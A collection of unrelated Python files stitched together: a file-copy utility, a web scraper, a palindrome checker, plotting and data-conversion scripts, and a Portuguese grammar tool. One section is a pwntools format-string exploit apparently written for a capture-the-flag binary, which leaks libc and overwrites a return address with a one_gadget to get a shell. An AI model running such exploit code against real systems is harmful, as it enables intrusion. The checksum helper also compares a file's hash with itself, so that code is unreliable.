            st = os.stat( name )

            if stat.S_ISDIR( st[ stat.ST_MODE ]):
                self._type = self._fileType.dir
            elif stat.S_ISREG(st[ stat.ST_MODE ]):
                self._type = self._fileType.regular
                self._size = st[ stat.ST_SIZE ]
                if computeChecksum :
                    self._checksum =  Checksum().sha256( name )
            elif stat.S_ISLNK( st[ stat.ST_MODE ]):
                self._type = self._fileType.link
            elif stat.S_ISBLK( st[ stat.ST_MODE ]):
                self._type = self._fileType.block
            elif stat.S_ISSOCK( st[ stat.ST_MODE ]):
                self._type = self._fileType.sock
            elif stat.S_ISCHR( st[ stat.ST_MODE ]) :
                self._type = self._fileType.char
            elif stat.S_ISFIFO( st[ stat.ST_MODE ]) :
                self._type = self._fileType.char

            self._creationDate     = st[ stat.ST_CTIME ]
            self._modificationDate = st[ stat.ST_MTIME ]
            self._accessDate       = st[ stat.ST_ATIME ]

            #Sha256 from zero length file computed from http://www.xorbin.com/tools/sha256-hash-calculator
            self._zeroHash         = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
    def fileType(self):
        return self._type

    def creationDate(self):
        return self._creationDate

    def modificationDate(self):
        return self._modificationDate

    def accessDate(self ):
        return self._accessDate

    def size( self ):
        return self._size

    def isDir(self):
        return self._type == self._fileType.dir

    def isFile(self):
        return self._type == self._fileType.regular

    def dirname(self):
        return os.path.dirname( self._name )

    def basename(self):
        return os.path.basename( self._name )

    def name(self ):
        return self._name

    def setSize(self, size ):
        self._size = size

    def setName(self, name ):
        self._f = name

    def setChecksum(self, sum ):
        self._checksum = sum

    def checksum(self):
        if self._checksum == None :
            raise ValueError( "Checksum not set for %s" % self._name )
        return self._checksum

class FileOps :

    def __init__(self, bufferSize = 10000,
                 logCmd=None, flush = None,
                 feedback = SimpleFeedback() ):

        self._bufSize = bufferSize
        self._log = logCmd
        self._flush = flush
        self._feedback = feedback

    def isEqual(self, f1, f2 ):

        a1 = FileAttrs( f1 )
        a2 = FileAttrs( f2 )

        if a1.isDir() and a2.isDir() :
            return a1.basename() == a2.basename()

        if  a1.isFile() and a2.isFile() :
            return (( a1.basename() == a2.basename()) and
                    self.checksumIsEqual(f1, f2))
        else :
            return False

    def copyblock(self, src, sink, xfer  ):
        b = src.read( self._bufSize )
        sink.write( b )
        if self._flush:
            sink.flush()

        return xfer + len( b )

    def copyfile( self, f1, f2 ):

        xfer = 0

        srcAttrs = FileAttrs( f1 )
        with open( f1, "rb" ) as src:
            with open( f2, "wb" ) as sink:

                blocks = srcAttrs.size() / self._bufSize
                remnant= srcAttrs.size() % self._bufSize

                if remnant > 0 :
                    blocks = blocks + 1
                for i in xrange( blocks ):
                    xfer = self.copyblock( src, sink, xfer )
                    if self._feedback :
                        self._feedback.progress( f2, srcAttrs.size(), xfer )

        if self._log:
            self._log.logcopy( srcAttrs, FileAttrs( f2 ))

    def makedir(self, d  ):
        #print "makedir: '%s'" % d
        os.makedirs( d )
        if self._log:
            self._log.logmkdir( d )

    def checksumIsEqual(self, f1, f2 ):

        chk = Checksum()

        if os.path.isfile( f1 ) and os.path.isfile( f2 ) :
            return (( os.path.getsize( f1 ) == os.path.getsize( f2 )) and
                    ( chk.sha256( f2 ) == chk.sha256( f2 )))
        else:
            return False


import requests
from bs4 import BeautifulSoup

class WebScraper:
    def __init__(self):
        self.data = list()
        URL = 'https://www.esrl.noaa.gov/gmd/aggi/aggi.html'  # The url to get info
        page = requests.get(URL)
        soup = BeautifulSoup(page.content, 'html.parser')
        table = soup.findAll('table')[1]
        table_rows = table.find_all("tr")
        for tr in table_rows[4:]:
            td = tr.find_all('td')
            row = [i.text for i in td]
            data_tuple = (int(row[0]), row[1],
                          row[2], row[3], row[4], row[5], row[6])
            self.data.append(data_tuple)


def isPallindrome(i,str1):

	if i >= len(str1)/2:
		return True

	if str1[i] != str1[len(str1)-i-1]:
		return False

	return isPallindrome(i+1,str1)

str1 = "MADAMA"

if isPallindrome(0,str1) == True:
	print(str1, "is  a Pallindrome")

else:
	print(str1,"not a Pallindrome")


# %%
import os
import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns

from norm import read_norm_data, norm

import argparse

#%%
parser = argparse.ArgumentParser()
parser.add_argument("-p", "--path", type=str, default="output/default")
parser.add_argument("-g", "--gen", type=int, default=-1)
parser.add_argument("-t", "--target", type=str, default=None)
parser.add_argument("-c", "--condition", type=str, default=None)
parser.add_argument("--collect", action="store_true")
args = parser.parse_args()

# %%
path = args.path

if not os.path.exists(path):
    print("Error: path does not exist")
    exit()

if args.collect:
    os.system(f"python collect_data.py {path} -w {os.cpu_count()} -f fits")

norm_df = read_norm_data("data/target_fitness_fn_ranges.csv", "")
conds_dir = os.path.join(args.path, "conditions")

# population_size = 70

os.makedirs(os.path.join(args.path, "plots"), exist_ok=True)

# %%
fits_path = os.path.join(conds_dir, "fits.pkl")

if os.path.exists(args.path) and not os.path.exists(fits_path):
    print("Error: data has not been parsed yet.")
    print("Collect data by using the --collect flag")
    exit()

df = pd.read_pickle(fits_path)

if args.gen is not None and args.gen >= 0:
    df = df[df["gen"] == args.gen]

if args.condition is not None:
    df = df[df["condition"] == args.condition]

if args.target is not None:
    df = df[df["target"] == args.target]

norm(df, norm_df)

mean_df = df.groupby(["gen", "condition", "run"])["fitness"].mean().reset_index()

# %%
# Adjust the Steady State condition to match the Without Steady State condition
use_df = mean_df.copy()

if "without-steady-state" in df["condition"].unique():
    population_size = df[(df["condition"] == "without-steady-state") & (df['run'] ==  df['run'].min())]["cell"].unique().shape[0]
    # split conditions to separate dfs
    df_with = use_df[use_df["condition"] == "with-steady-state"]
    df_without = use_df[use_df["condition"] == "without-steady-state"]
    # keep every 70th gen of df_with
    df_with = df_with[df_with["gen"] % population_size == 0].reset_index()
    # rename gens to match df_without
    df_with["gen"] = df_with["gen"] // population_size
    use_df = pd.concat([df_with, df_without])
# %%
ax = sns.lineplot(x="gen", y="fitness", hue="condition", data=use_df)
plt.savefig(os.path.join(args.path, "plots", "avg_fits_over_time.png"))
plt.show()


from concurrent.futures import process
import sys
from pwn import *

elf = ELF("chall")
libc = ELF("libc.so.6")

io = process(elf.path)
# io = remote("54.152.139.83", 9005)

gdb.attach(io,'''
    b *0x0000000000401226
''')

one_gadget1 = 0xe3afe
one_gadget2 = 0xe3b01
one_gadget3 = 0xe3b04

bss_addr = 0x404090
offset = bss_addr - elf.sym["__do_global_dtors_aux_fini_array_entry"]
payload = b"%%%dc%%34$n" % offset
offset = elf.sym["main"] - offset
payload += b"%%%dc%%10$n" % offset
payload += b"%12$p"
payload += b"A" * (0x20 - len(payload))
payload += p64(bss_addr)
io.sendline(payload)

ret = io.recvuntil(b"AAA\x90@@")
stack_arena_addr = int(ret[-18:-6].decode(), 16)

ret_addr = stack_arena_addr - 456

payload = b"%9$n"
payload += b"%*37$c%10$n"
payload += b"%24$p"
payload += b"A" * (0x18 - len(payload))
payload += p64(ret_addr + 4)
payload += p64(ret_addr)
io.sendline(payload)

ret = io.recvuntil(b"AAAA")
libc.address = int(ret[-16:-4].decode(), 16) - libc.sym["_IO_2_1_stderr_"]

print("libc addr: " + str(hex(libc.address)))
ret_addr -= 0xe0
payload = b"%25$n"
b = ((libc.address + one_gadget2) >> 16)  & 0xff
payload += b"%%%dc%%10$hhn" % b
b = (((libc.address + one_gadget2) & 0xffff) - b)
payload += b"%%%dc%%11$hn" % b
payload += b"A" * (0x20 - len(payload))
payload += p64(ret_addr + 2)
payload += p64(ret_addr)

io.sendline(payload)

io.interactive()


import pandas as pd
from pathlib import Path
from sandu.data_types import SensitivityInput
import app.controllers.agents.sensitivity_analysis.sensitivity_model_inventory as inventory
from app.core.settings import DATA_PATH_LIVE
import json
import numpy as np
from typing import List, Tuple

"""
Parse Ensemble Time Series Format (ents) data sets to make sandu SensitivityInput objects for specified quantities
in quantities_of_interest which is defined in sensitivity_inventory.json.

The SensitivityInput objects are saved to json files which may be loaded into and used by the python package sandu.

If you have not used sandu before it will be helpful to consult the examples, at https://github.com/ErikRZH/sandu
"""

def output_file_name(ents_in: str, index: str) -> str:
    """ Returns the name and path to file output_i.csv given i.

    Args:
        ents_in: String containing the location of a dataset in ensemble time series format.
        index: The index i used to identify the model evaluation.

    Returns:
        output_file_name: The name and path to file output_i.csv.
    """
    output_file_name = ents_in / Path("output_" + str(index) + ".csv")
    return output_file_name

def make_dataframe(ents_in: str, quantities_of_interest: List[dict]) -> pd.DataFrame:
    """Gives a pandas dataframe of the type used by the sandu library for sensitivity analysis given a ents structure.

    Args:
        ents_in: String containing the location of a dataset in time series ensemble format.
        quantities_of_interest: List containing dictionaries with information needed to make SensitivityInput objects.
           One dictionary/entry corresponds to one quantity of interest.
            Dictionaries have keys,
            name: Name of the quantity, the SensitivtiyInput object is saved as: name_input.json
            mean: Column containing the mean of the quantity.
            variance: Column containing the variance of the quantity.

    Returns:
        df: dataframe containing parameters-quantity_of_interests_mean/variance
    """
    df = pd.read_csv(ents_in / "parameters.csv")
    df_temp = pd.read_csv(ents_in / "output_metadata.csv")
    desc = df_temp["description"]
    time_name = df_temp.loc[df_temp["description"] == "time_unit"]["output"].at[0]
    for quantity in quantities_of_interest:
        df[quantity["mean"]] = np.nan
        df[quantity["mean"]] = df[quantity["mean"]].astype(object)
        df[quantity["variance"]] = np.nan
        df[quantity["variance"]] = df[quantity["variance"]].astype(object)
        for i in df["index"]:
            # Sort the output time series by day and add them in the appropriate columns
            df.at[i, quantity["mean"]] = pd.read_csv(output_file_name(ents_in, i)).sort_values(time_name)[
                quantity["mean"]].tolist()
            df.at[i, quantity["variance"]] = pd.read_csv(output_file_name(ents_in, i)).sort_values(time_name)[
                quantity["variance"]].tolist()
    return df

def get_parameters_and_bounds(ents_in: str) -> Tuple[list, list]:
    """ Returns two lists needed by sandu, one containing the names and one the bounds of model parameters.

    Args:
        ents_in: String containing the location of a dataset in time series ensemble format.

    Returns:
        parameters: List of the names of the parameters, as required by sandu.
        bounds: List containing the lower and upper bounds of the parameters as [lower, upper],
            in the same order as the parameters list.
    """
    df = pd.read_csv(ents_in / "parameters_metadata.csv")
    parameters = df["parameter"].to_list()
    bounds = get_bounds(ents_in, parameters)
    return parameters, bounds

def get_bounds(ents_in: str, parameters):
    """ Returns a list containing the bounds of model parameters.

    Args:
        ents_in: String containing the location of a dataset in time series ensemble format.
        parameters: List of the names of the parameters, as required by sandu.

    Returns:
        bounds: List containing the lower and upper bounds of the parameters as [lower, upper],
            in the same order as the parameters list.
    """
    df = pd.read_csv(ents_in / "parameters.csv")
    bounds = []
    for parameter in parameters:
        upper_bound = df[parameter].max().item()
        lower_bound = df[parameter].min().item()
        bounds_entry = [lower_bound, upper_bound] if upper_bound != lower_bound else [upper_bound]
        bounds.append(bounds_entry)
    return bounds

def ents_to_sandu_agent():
    model_list = inventory.get_sensitivity_models()
    for model in model_list:
        # filepath to folder containing an Ensemble Time Series (ents) format dataset.
        folder = Path(DATA_PATH_LIVE)
        relative_location = Path("ents_format_datasets") / Path(model["name"])
        location = folder / relative_location

        # List containing dictionaries with information needed to make SensitivityInput objects.
        quantities_of_interest = model["quantities_of_interest"]

        df = make_dataframe(location, quantities_of_interest)
        parameters, bounds = get_parameters_and_bounds(location)

        for quantity in quantities_of_interest:
            filename = "models/sensitivity/" + model["name"] + "/" + quantity["name"] + "_raw.json"
            output_file = str(folder / filename)
            # make directory if it does not already exist
            parentfolder = Path(output_file).parents[0]
            parentfolder.mkdir(parents=True, exist_ok=True)  # Create directory for file if not already present

            new_sensitivity_input = SensitivityInput(df.to_json(index=False, orient="split"), parameters, bounds,
                                                     quantity["mean"], quantity["variance"])
            with open(output_file, "w", encoding="utf-8") as f:
                json.dump(new_sensitivity_input.__dict__, f, ensure_ascii=False, indent=4)

            # Open and load every object to validate it
            with open(output_file, "r") as read_file:
                x = json.load(read_file, object_hook=lambda d: SensitivityInput(**d))


import matplotlib.pyplot as plt
import pandas as pd

df = pd.read_csv("kandydaci_utf8.csv", delimiter=";")
url = 'https://prezydent20200628.pkw.gov.pl/prezydent20200628/pl/kandydaci'
dfs = pd.read_html(url)

# data from csv

y, x = df["Nazwisko"], df["Liczba głosów"]

# data from url

df2 = df[["Wiek"]]

# convert dateframe to list

y1, x1 = y.tolist(), x.tolist()

# combination of y1 and x1 in dict

xy = dict(zip(y1, x1))

# new dict for third chart

xy_1 = {}

# new dict for fourth chart

xy_new = {}

# filter for third chart

def more_than_1(xy):
    for keys, values in xy.items():
        if values > 194254:
            xy_1.update({keys : (values / 1000000)})

# update dict for fourth chart

def only_2nd_half(x1,y1):
    xy_new.update({y1[2]:x1[2]})
    xy_new.update({y1[8]:x1[8]})
    xy_new.update({"Pozostali":(sum(x1)-(x1[2]+x1[8]))})

# position setting all charts

ax1 = plt.subplot2grid((3, 8), (0, 0), colspan=2)
ax2 = plt.subplot2grid((3, 8), (0, 3), colspan=2, rowspan=2)
ax3 = plt.subplot2grid((3, 8), (1, 0), colspan=2)
ax4 = plt.subplot2grid((3, 8), (0, 6), colspan=2, rowspan=2)
ax5 = plt.subplot2grid((3, 8), (2, 0), colspan=8)

#first chart

ax1.barh(y, (x/1000000), color=["red", "green", "blue"])
ax1.set_title("1. Wykres pierwszy (x1000000)")

#second chart

wedges, texts, autotexts = ax2.pie(x1, autopct="%.2f %%" ,textprops=dict(color="w"))
ax2.legend(wedges, y, title="Kandydaci", bbox_to_anchor=(0.9, 0, 0.5, 1))
ax2.set_title("2.Wykres drugi")

#third chart

more_than_1(xy)
xy_keys = list(xy_1.keys())
xy_values = list(xy_1.values())
ax3.barh(xy_keys, xy_values, color=["red", "green", "blue"])
ax3.set_title("3. Wykres trzeci, kandydaci którzy przekroczyli 1% (x1000000)")

#fourth chart

only_2nd_half(x1, y1)
xy_new_keys = list(xy_new.keys())
xy_new_values = list(xy_new.values())
ax4.pie(xy_new_values , labels = xy_new_keys, autopct = "%.2f %%")
ax4.set_title("4. Wykres kandydatów którzy przeszli do drugiej tury i pozostali łącznie.")

#fifth chart

ax5.hist(df2, bins = 10, range = (35, int(df2.max())), facecolor = "blue", edgecolor='b', linewidth=1, alpha = 0.5)
ax5.set_title("5. Wykres wieku kandydatów")

plt.show()


import sys
sys.path.append("../")

from NLG_BRAZILIAN_PORTUGUESE.geracao_funcoes_por_ordem.ordem_palavra.pal_nominais import *
import argparse

if __name__ == '__main__':

    parser = argparse.ArgumentParser(description='Retorna pronomes no caso reto')
    parser.add_argument('pessoa_da_interlocucao', type=str)
    parser.add_argument('genero', type=str)
    parser.add_argument('numero', type=str)
    parser.add_argument('morfologia_do_pronome', type=str)
    args = parser.parse_args()

    print(realizacao_pronominal_casoreto(args.pessoa_da_interlocucao,
                                         args.genero, args.numero, args.morfologia_do_pronome))

# EX.:
#
# realizacao_pronominal_casoreto("não_interlocutor", "feminino", "singular",'morfologia_terceira_pessoa')
#
# realizacao_pronominal_casoreto("ouvinte", "feminino", "singular",'padrão', 'morfologia_terceira_pessoa)

# python3 main_pal_nominais.py não_interlocutor feminino singular morfologia_terceira_pessoa
# python3 main_pal_nominais.py ouvinte none singular morfologia_terceira_pessoa
# python3 main_pal_nominais.py ouvinte none singular padrão